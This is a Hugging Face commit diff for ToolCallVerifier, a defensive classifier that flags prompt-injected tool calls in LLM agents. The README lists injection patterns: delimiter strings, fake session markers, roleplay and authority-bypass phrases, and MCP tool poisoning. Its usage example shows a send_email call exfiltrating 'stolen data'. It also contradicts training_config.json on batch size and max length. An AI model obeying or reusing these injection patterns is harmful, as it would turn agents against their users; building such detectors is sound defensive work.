Huamin commited on
Commit
386b5c0
·
verified ·
1 Parent(s): 8c6649e

Update model with binary classification (UNAUTHORIZED F1: 93.50%)

Browse files
Files changed (6) hide show
  1. README.md +103 -99
  2. best_metrics.json +24 -30
  3. config.json +4 -7
  4. final_report.json +6 -6
  5. model.safetensors +2 -2
  6. training_config.json +7 -11
README.md CHANGED
@@ -1,91 +1,59 @@
1
- ---
2
- license: apache-2.0
3
- language:
4
- - en
5
- tags:
6
- - modernbert
7
- - security
8
- - jailbreak-detection
9
- - prompt-injection
10
- - tool-calling
11
- - token-classification
12
- datasets:
13
- - microsoft/llmail-inject-challenge
14
- - allenai/wildjailbreak
15
- - hackaprompt/hackaprompt-dataset
16
- - JailbreakBench/JBB-Behaviors
17
- metrics:
18
- - f1
19
- - accuracy
20
- - precision
21
- - recall
22
- base_model: answerdotai/ModernBERT-base
23
- pipeline_tag: token-classification
24
- model-index:
25
- - name: tool-call-verifier
26
- results:
27
- - task:
28
- type: token-classification
29
- name: Tool Call Verification
30
- metrics:
31
- - name: UNAUTHORIZED F1
32
- type: f1
33
- value: 0.9394
34
- - name: UNAUTHORIZED Precision
35
- type: precision
36
- value: 0.9719
37
- - name: UNAUTHORIZED Recall
38
- type: recall
39
- value: 0.9062
40
- - name: Accuracy
41
- type: accuracy
42
- value: 0.9380
43
- ---
44
-
45
  # ToolCallVerifier - Unauthorized Tool Call Detection
46
 
47
- A ModernBERT-based token classifier that detects **unauthorized tool calls** in LLM agent systems. This model is Stage 2 of a two-stage jailbreak detection pipeline, designed to verify whether tool calls generated by an LLM are authorized by the user's original intent.
48
 
49
- ## Model Description
 
 
50
 
51
- This model performs **token-level classification** on tool call JSON to identify unauthorized or suspicious arguments that may have been injected through prompt injection attacks.
52
 
53
- ### Labels
 
 
54
 
55
- | Label | Severity | Description |
56
- |-------|----------|-------------|
57
- | AUTHORIZED | 0 | Token is part of a legitimate, user-requested action |
58
- | SUSPICIOUS | 2 | Token requires additional verification |
59
- | UNAUTHORIZED | 4 | Token indicates injected/malicious content - **BLOCK** |
 
 
 
 
 
60
 
61
- ## Performance
62
 
63
  | Metric | Value |
64
  |--------|-------|
65
- | **UNAUTHORIZED F1** | **93.94%** |
66
- | UNAUTHORIZED Precision | 97.19% |
67
- | UNAUTHORIZED Recall | 90.62% |
68
- | Overall Accuracy | **93.80%** |
69
 
70
- ### Comparison with Previous Version
71
 
72
- | Metric | Previous | Current | Improvement |
73
- |--------|----------|---------|-------------|
74
- | UNAUTHORIZED F1 | 81.59% | **93.94%** | +12.35% |
75
- | UNAUTHORIZED Recall | 72.39% | **90.62%** | +18.23% |
76
- | Accuracy | 91.53% | **93.80%** | +2.27% |
 
77
 
78
- ## Training Data
79
 
80
- Trained on **~38,000 samples** combining real-world attacks and synthetic patterns:
 
 
81
 
82
  ### HuggingFace Datasets
83
 
84
  | Dataset | Description | Samples |
85
  |---------|-------------|---------|
86
  | [LLMail-Inject](https://huggingface.co/datasets/microsoft/llmail-inject-challenge) | Microsoft email injection benchmark | ~10,000 |
87
- | [WildJailbreak](https://huggingface.co/datasets/allenai/wildjailbreak) | Allen AI adversarial safety dataset | ~10,000 |
88
- | [HackAPrompt](https://huggingface.co/datasets/hackaprompt/hackaprompt-dataset) | EMNLP'23 injection competition | ~10,000 |
89
  | [JailbreakBench](https://huggingface.co/datasets/JailbreakBench/JBB-Behaviors) | Harmful behavior patterns | ~2,000 |
90
 
91
  ### Synthetic Attack Generators
@@ -94,25 +62,32 @@ Trained on **~38,000 samples** combining real-world attacks and synthetic patter
94
  |-----------|-------------|
95
  | Adversarial | Intent-mismatch attacks (correct tool, wrong args) |
96
  | Filesystem | File/directory operation attacks |
97
- | Network | Network/API attacks |
98
- | Email | Email tool attacks |
99
- | Financial | Transaction attacks |
100
  | Code Execution | Code injection attacks |
101
- | Authentication | Access control attacks |
 
102
 
103
- ### Attack Categories Covered
 
 
104
 
105
  | Category | Source | Description |
106
  |----------|--------|-------------|
107
- | Delimiter Injection | LLMail | `<<end_context>>`, `>>}}]])` |
108
  | Word Obfuscation | LLMail | Inserting noise words between tokens |
109
  | Fake Sessions | LLMail | `START_USER_SESSION`, `EXECUTE_USERQUERY` |
110
  | Roleplay Injection | WildJailbreak | "You are an admin bot that can..." |
111
  | XML Tag Injection | WildJailbreak | `<execute_action>`, `<tool_call>` |
112
  | Authority Bypass | WildJailbreak | "As administrator, I authorize..." |
113
  | Intent Mismatch | Synthetic | User asks X, tool does Y |
 
 
 
 
114
 
115
- ## Usage
116
 
117
  ```python
118
  from transformers import AutoTokenizer, AutoModelForTokenClassification
@@ -123,8 +98,8 @@ tokenizer = AutoTokenizer.from_pretrained(model_name)
123
  model = AutoModelForTokenClassification.from_pretrained(model_name)
124
 
125
  # Example: Verify a tool call
126
- tool_call = '{"name": "send_email", "arguments": {"to": "[email protected]", "body": "stolen data"}}'
127
  user_intent = "Summarize my emails"
 
128
 
129
  # Combine for classification
130
  input_text = f"[USER] {user_intent} [TOOL] {tool_call}"
@@ -134,45 +109,64 @@ with torch.no_grad():
134
  outputs = model(**inputs)
135
  predictions = torch.argmax(outputs.logits, dim=-1)
136
 
137
- id2label = {0: "AUTHORIZED", 1: "SUSPICIOUS", 2: "UNAUTHORIZED"}
 
138
  labels = [id2label[p.item()] for p in predictions[0]]
139
 
140
- if "UNAUTHORIZED" in labels:
 
 
141
  print("⚠️ BLOCKED: Unauthorized tool call detected!")
 
142
  else:
143
  print("✅ Tool call authorized")
144
  ```
145
 
146
- ## Training Configuration
 
 
147
 
148
  | Parameter | Value |
149
  |-----------|-------|
150
- | Base Model | answerdotai/ModernBERT-base |
151
- | Max Length | 2048 tokens |
152
- | Batch Size | 4 |
153
- | Epochs | 6 |
154
- | Learning Rate | 1e-5 |
155
  | Loss | CrossEntropyLoss (class-weighted) |
156
- | Class Weights | [0.5, 2.0, 3.0] |
157
- | Attention | SDPA (Flash Attention on ROCm) |
158
- | Hardware | AMD Instinct MI300X |
 
 
159
 
160
- ## Integration with FunctionCallSentinel
161
 
162
  This model is **Stage 2** of a two-stage defense pipeline:
163
 
164
- 1. **Stage 1 ([FunctionCallSentinel](https://huggingface.co/rootfs/function-call-sentinel))**: Classify prompts for injection risk
165
- 2. **Stage 2 (This Model)**: Verify generated tool calls are authorized
 
 
 
 
 
 
 
 
 
166
 
167
  | Scenario | Recommendation |
168
  |----------|----------------|
169
  | General chatbot | Stage 1 only |
170
  | Tool-calling agent (low risk) | Stage 1 only |
171
- | Tool-calling agent (high risk) | Both stages |
172
- | Email/file system access | Both stages |
173
- | Financial transactions | Both stages |
 
 
174
 
175
- ## Intended Use
176
 
177
  ### Primary Use Cases
178
  - **LLM Agent Security**: Verify tool calls before execution
@@ -184,13 +178,23 @@ This model is **Stage 2** of a two-stage defense pipeline:
184
  - Non-tool-calling scenarios
185
  - Languages other than English
186
 
187
- ## Limitations
 
 
188
 
189
- 1. **Tool schema dependent**: Best performance when tool schema is included in input
190
- 2. **English only**: Not tested on other languages
191
- 3. **Novel attacks**: May not catch completely novel attack patterns
 
 
192
 
193
- ## License
194
 
195
  Apache 2.0
196
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  # ToolCallVerifier - Unauthorized Tool Call Detection
2
 
3
+ <div align="center">
4
 
5
+ [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)
6
+ [![Model](https://img.shields.io/badge/🤗-ModernBERT--base-yellow)](https://huggingface.co/answerdotai/ModernBERT-base)
7
+ [![Security](https://img.shields.io/badge/Security-LLM%20Defense-red)](https://huggingface.co/rootfs)
8
 
9
+ **Stage 2 of Two-Stage LLM Agent Defense Pipeline**
10
 
11
+ </div>
12
+
13
+ ---
14
 
15
+ ## 🎯 What This Model Does
16
+
17
+ ToolCallVerifier is a **ModernBERT-based token classifier** that detects unauthorized tool calls in LLM agent systems. It performs token-level classification on tool call JSON to identify malicious arguments that may have been injected through prompt injection attacks.
18
+
19
+ | Label | Description |
20
+ |-------|-------------|
21
+ | `AUTHORIZED` | Token is part of a legitimate, user-requested action |
22
+ | `UNAUTHORIZED` | Token indicates injected/malicious content — **BLOCK** |
23
+
24
+ ---
25
 
26
+ ## 📊 Performance
27
 
28
  | Metric | Value |
29
  |--------|-------|
30
+ | **UNAUTHORIZED F1** | **93.50%** |
31
+ | UNAUTHORIZED Precision | 95.01% |
32
+ | UNAUTHORIZED Recall | 92.05% |
33
+ | Overall Accuracy | 92.88% |
34
 
35
+ ### Confusion Matrix (Token-Level)
36
 
37
+ ```
38
+ Predicted
39
+ AUTH UNAUTH
40
+ Actual AUTH 130,708 8,483
41
+ UNAUTH 13,924 161,031
42
+ ```
43
 
44
+ ---
45
 
46
+ ## 🗂️ Training Data
47
+
48
+ Trained on **~30,000 samples** combining real-world attacks and synthetic patterns:
49
 
50
  ### HuggingFace Datasets
51
 
52
  | Dataset | Description | Samples |
53
  |---------|-------------|---------|
54
  | [LLMail-Inject](https://huggingface.co/datasets/microsoft/llmail-inject-challenge) | Microsoft email injection benchmark | ~10,000 |
55
+ | [WildJailbreak](https://huggingface.co/datasets/allenai/wildjailbreak) | Allen AI adversarial safety dataset | ~8,000 |
56
+ | [HackAPrompt](https://huggingface.co/datasets/hackaprompt/hackaprompt-dataset) | EMNLP'23 injection competition | ~5,000 |
57
  | [JailbreakBench](https://huggingface.co/datasets/JailbreakBench/JBB-Behaviors) | Harmful behavior patterns | ~2,000 |
58
 
59
  ### Synthetic Attack Generators
 
62
  |-----------|-------------|
63
  | Adversarial | Intent-mismatch attacks (correct tool, wrong args) |
64
  | Filesystem | File/directory operation attacks |
65
+ | Network | Network/API exfiltration attacks |
66
+ | Email | Email tool hijacking |
67
+ | Financial | Transaction manipulation |
68
  | Code Execution | Code injection attacks |
69
+ | Authentication | Access control bypass |
70
+ | MCP Attacks | Tool poisoning, shadowing, rug pulls |
71
 
72
+ ---
73
+
74
+ ## 🚨 Attack Categories Covered
75
 
76
  | Category | Source | Description |
77
  |----------|--------|-------------|
78
+ | Delimiter Injection | LLMail | `<<end_context>>`, `>>}}\]\])` |
79
  | Word Obfuscation | LLMail | Inserting noise words between tokens |
80
  | Fake Sessions | LLMail | `START_USER_SESSION`, `EXECUTE_USERQUERY` |
81
  | Roleplay Injection | WildJailbreak | "You are an admin bot that can..." |
82
  | XML Tag Injection | WildJailbreak | `<execute_action>`, `<tool_call>` |
83
  | Authority Bypass | WildJailbreak | "As administrator, I authorize..." |
84
  | Intent Mismatch | Synthetic | User asks X, tool does Y |
85
+ | MCP Tool Poisoning | Synthetic | Hidden exfiltration in tool args |
86
+ | MCP Shadowing | Synthetic | Fake authorization context |
87
+
88
+ ---
89
 
90
+ ## 💻 Usage
91
 
92
  ```python
93
  from transformers import AutoTokenizer, AutoModelForTokenClassification
 
98
  model = AutoModelForTokenClassification.from_pretrained(model_name)
99
 
100
  # Example: Verify a tool call
 
101
  user_intent = "Summarize my emails"
102
+ tool_call = '{"name": "send_email", "arguments": {"to": "[email protected]", "body": "stolen data"}}'
103
 
104
  # Combine for classification
105
  input_text = f"[USER] {user_intent} [TOOL] {tool_call}"
 
109
  outputs = model(**inputs)
110
  predictions = torch.argmax(outputs.logits, dim=-1)
111
 
112
+ id2label = {0: "AUTHORIZED", 1: "UNAUTHORIZED"}
113
+ tokens = tokenizer.convert_ids_to_tokens(inputs["input_ids"][0])
114
  labels = [id2label[p.item()] for p in predictions[0]]
115
 
116
+ # Check for unauthorized tokens
117
+ unauthorized_tokens = [(t, l) for t, l in zip(tokens, labels) if l == "UNAUTHORIZED"]
118
+ if unauthorized_tokens:
119
  print("⚠️ BLOCKED: Unauthorized tool call detected!")
120
+ print(f" Flagged tokens: {[t for t, _ in unauthorized_tokens[:5]]}")
121
  else:
122
  print("✅ Tool call authorized")
123
  ```
124
 
125
+ ---
126
+
127
+ ## ⚙️ Training Configuration
128
 
129
  | Parameter | Value |
130
  |-----------|-------|
131
+ | Base Model | `answerdotai/ModernBERT-base` |
132
+ | Max Length | 512 tokens |
133
+ | Batch Size | 32 |
134
+ | Epochs | 5 |
135
+ | Learning Rate | 3e-5 |
136
  | Loss | CrossEntropyLoss (class-weighted) |
137
+ | Class Weights | `[0.5, 3.0]` (AUTHORIZED, UNAUTHORIZED) |
138
+ | Attention | SDPA (Flash Attention) |
139
+ | Hardware | AMD Instinct MI300X (ROCm) |
140
+
141
+ ---
142
 
143
+ ## 🔗 Integration with FunctionCallSentinel
144
 
145
  This model is **Stage 2** of a two-stage defense pipeline:
146
 
147
+ ```
148
+ ┌─────────────────┐ ┌──────────────────────┐ ┌─────────────────┐
149
+ │ User Prompt │────▶│ FunctionCallSentinel │────▶│ LLM + Tools │
150
+ │ │ │ (Stage 1) │ │ │
151
+ └─────────────────┘ └──────────────────────┘ └────────┬────────┘
152
+
153
+ ┌──────────────────────────────▼──────────────────────────┐
154
+ │ ToolCallVerifier (This Model) │
155
+ │ Token-level verification before tool execution │
156
+ └─────────────────────────────────────────────────────────┘
157
+ ```
158
 
159
  | Scenario | Recommendation |
160
  |----------|----------------|
161
  | General chatbot | Stage 1 only |
162
  | Tool-calling agent (low risk) | Stage 1 only |
163
+ | Tool-calling agent (high risk) | **Both stages** |
164
+ | Email/file system access | **Both stages** |
165
+ | Financial transactions | **Both stages** |
166
+
167
+ ---
168
 
169
+ ## 🎯 Intended Use
170
 
171
  ### Primary Use Cases
172
  - **LLM Agent Security**: Verify tool calls before execution
 
178
  - Non-tool-calling scenarios
179
  - Languages other than English
180
 
181
+ ---
182
+
183
+ ## ⚠️ Limitations
184
 
185
+ 1. **Tool schema dependent** Best performance when tool schema is included in input
186
+ 2. **English only** Not tested on other languages
187
+ 3. **Binary classification** No "suspicious" intermediate category (by design, for decisiveness)
188
+
189
+ ---
190
 
191
+ ## 📜 License
192
 
193
  Apache 2.0
194
 
195
+ ---
196
+
197
+ ## 🔗 Links
198
+
199
+ - **Stage 1 Model**: [rootfs/function-call-sentinel](https://huggingface.co/rootfs/function-call-sentinel)
200
+
best_metrics.json CHANGED
@@ -1,42 +1,36 @@
1
  {
2
  "classification_report": {
3
  "AUTHORIZED": {
4
- "precision": 0.9060726044066687,
5
- "recall": 0.9763638542027211,
6
- "f1-score": 0.9399058716483996,
7
- "support": 150236.0
8
- },
9
- "SUSPICIOUS": {
10
- "precision": 0.0,
11
- "recall": 0.0,
12
- "f1-score": 0.0,
13
- "support": 0.0
14
  },
15
  "UNAUTHORIZED": {
16
- "precision": 0.9761577042642191,
17
- "recall": 0.9053128424828136,
18
- "f1-score": 0.9394014777290658,
19
- "support": 160592.0
20
  },
21
- "accuracy": 0.9396547286602237,
22
  "macro avg": {
23
- "precision": 0.627410102890296,
24
- "recall": 0.6272255655618449,
25
- "f1-score": 0.6264357831258218,
26
- "support": 310828.0
27
  },
28
  "weighted avg": {
29
- "precision": 0.9422826831522249,
30
- "recall": 0.9396547286602237,
31
- "f1-score": 0.9396452721261762,
32
- "support": 310828.0
33
  }
34
  },
35
- "accuracy": 0.9396547286602237,
36
- "macro_f1": 0.6264357831258218,
37
- "weighted_f1": 0.9396452721261762,
38
- "unauthorized_avg_f1": 0.9394014777290658,
39
- "unauthorized_precision": 0.9761577042642191,
40
- "unauthorized_recall": 0.9053128424828136,
41
- "unauthorized_f1": 0.9394014777290658
42
  }
 
1
  {
2
  "classification_report": {
3
  "AUTHORIZED": {
4
+ "precision": 0.9037877897531266,
5
+ "recall": 0.9392273925756695,
6
+ "f1-score": 0.9211668545659526,
7
+ "support": 139191.0
 
 
 
 
 
 
8
  },
9
  "UNAUTHORIZED": {
10
+ "precision": 0.950093511979563,
11
+ "recall": 0.9204538309851105,
12
+ "f1-score": 0.9350388443092216,
13
+ "support": 174955.0
14
  },
15
+ "accuracy": 0.9287719722676717,
16
  "macro avg": {
17
+ "precision": 0.9269406508663448,
18
+ "recall": 0.9298406117803899,
19
+ "f1-score": 0.9281028494375871,
20
+ "support": 314146.0
21
  },
22
  "weighted avg": {
23
+ "precision": 0.9295764919238567,
24
+ "recall": 0.9287719722676717,
25
+ "f1-score": 0.9288924788474447,
26
+ "support": 314146.0
27
  }
28
  },
29
+ "accuracy": 0.9287719722676717,
30
+ "macro_f1": 0.9281028494375871,
31
+ "weighted_f1": 0.9288924788474447,
32
+ "unauthorized_avg_f1": 0.9350388443092216,
33
+ "unauthorized_precision": 0.950093511979563,
34
+ "unauthorized_recall": 0.9204538309851105,
35
+ "unauthorized_f1": 0.9350388443092216
36
  }
config.json CHANGED
@@ -22,16 +22,14 @@
22
  "hidden_size": 768,
23
  "id2label": {
24
  "0": "AUTHORIZED",
25
- "1": "SUSPICIOUS",
26
- "2": "UNAUTHORIZED"
27
  },
28
  "initializer_cutoff_factor": 2.0,
29
  "initializer_range": 0.02,
30
  "intermediate_size": 1152,
31
  "label2id": {
32
  "AUTHORIZED": 0,
33
- "SUSPICIOUS": 1,
34
- "UNAUTHORIZED": 2
35
  },
36
  "layer_norm_eps": 1e-05,
37
  "local_attention": 128,
@@ -51,6 +49,5 @@
51
  "sparse_pred_ignore_index": -100,
52
  "sparse_prediction": false,
53
  "transformers_version": "4.57.3",
54
- "vocab_size": 50368,
55
- "hidden_act": "gelu"
56
- }
 
22
  "hidden_size": 768,
23
  "id2label": {
24
  "0": "AUTHORIZED",
25
+ "1": "UNAUTHORIZED"
 
26
  },
27
  "initializer_cutoff_factor": 2.0,
28
  "initializer_range": 0.02,
29
  "intermediate_size": 1152,
30
  "label2id": {
31
  "AUTHORIZED": 0,
32
+ "UNAUTHORIZED": 1
 
33
  },
34
  "layer_norm_eps": 1e-05,
35
  "local_attention": 128,
 
49
  "sparse_pred_ignore_index": -100,
50
  "sparse_prediction": false,
51
  "transformers_version": "4.57.3",
52
+ "vocab_size": 50368
53
+ }
 
final_report.json CHANGED
@@ -1,8 +1,8 @@
1
  {
2
- "accuracy": 0.9396547286602237,
3
- "unauthorized_precision": 0.9761577042642191,
4
- "unauthorized_recall": 0.9053128424828136,
5
- "unauthorized_f1": 0.9394014777290658,
6
- "unauthorized_avg_f1": 0.9394014777290658,
7
- "macro_f1": 0.6264357831258218
8
  }
 
1
  {
2
+ "accuracy": 0.9287719722676717,
3
+ "unauthorized_precision": 0.950093511979563,
4
+ "unauthorized_recall": 0.9204538309851105,
5
+ "unauthorized_f1": 0.9350388443092216,
6
+ "unauthorized_avg_f1": 0.9350388443092216,
7
+ "macro_f1": 0.9281028494375871
8
  }
model.safetensors CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:7ccb513de8777a67a5e44994e6265dedcd6c335d7c88442ba9bf630bea5b913e
3
- size 598442860
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:992a572e923cbb0b336b5ced300c43badc4e91934a32d5bd6dd66c8017e9d75b
3
+ size 598439784
training_config.json CHANGED
@@ -1,30 +1,26 @@
1
  {
2
  "model_name": "answerdotai/ModernBERT-base",
3
- "num_labels": 3,
4
  "label2id": {
5
  "AUTHORIZED": 0,
6
- "SUSPICIOUS": 1,
7
- "UNAUTHORIZED": 2
8
  },
9
  "id2label": {
10
  "0": "AUTHORIZED",
11
- "1": "SUSPICIOUS",
12
- "2": "UNAUTHORIZED"
13
  },
14
  "severity": {
15
  "AUTHORIZED": 0,
16
- "SUSPICIOUS": 2,
17
  "UNAUTHORIZED": 4
18
  },
19
  "loss": "CrossEntropyLoss (class-weighted)",
20
  "class_weights": [
21
  0.5,
22
- 2.0,
23
  3.0
24
  ],
25
  "optimization_target": "unauthorized_f1",
26
- "batch_size": 4,
27
- "epochs": 6,
28
- "learning_rate": 1e-05,
29
- "max_length": 2048
30
  }
 
1
  {
2
  "model_name": "answerdotai/ModernBERT-base",
3
+ "num_labels": 2,
4
  "label2id": {
5
  "AUTHORIZED": 0,
6
+ "UNAUTHORIZED": 1
 
7
  },
8
  "id2label": {
9
  "0": "AUTHORIZED",
10
+ "1": "UNAUTHORIZED"
 
11
  },
12
  "severity": {
13
  "AUTHORIZED": 0,
 
14
  "UNAUTHORIZED": 4
15
  },
16
  "loss": "CrossEntropyLoss (class-weighted)",
17
  "class_weights": [
18
  0.5,
 
19
  3.0
20
  ],
21
  "optimization_target": "unauthorized_f1",
22
+ "batch_size": 16,
23
+ "epochs": 5,
24
+ "learning_rate": 3e-05,
25
+ "max_length": 1024
26
  }